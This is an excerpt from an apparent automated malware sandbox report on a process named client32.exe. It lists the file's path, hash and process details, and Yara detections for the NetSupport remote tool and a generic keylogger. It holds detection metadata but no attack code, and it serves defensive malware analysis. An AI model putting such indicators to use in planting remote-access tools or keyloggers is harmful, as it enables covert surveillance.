JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000016.00000002.424059492.0000000000242000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: client32.exePID: 7796, Parent PID: 3452

General

Target ID:	23
Start time:	10:13:25
Start date:	02/08/2023
Path:	C:\ProgramData\client32.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\client32.exe"
Imagebase:	0x240000
File size:	101'680 bytes
MD5 hash:	F70B67C2B3204B7DDD8B755799CCCFF0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000017.00000002.442479428.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000017.00000000.440898927.0000000000242000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000017.00000002.441826424.0000000000242000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000017.00000002.442419943.0000000011194000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000017.00000002.442419943.0000000011194000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security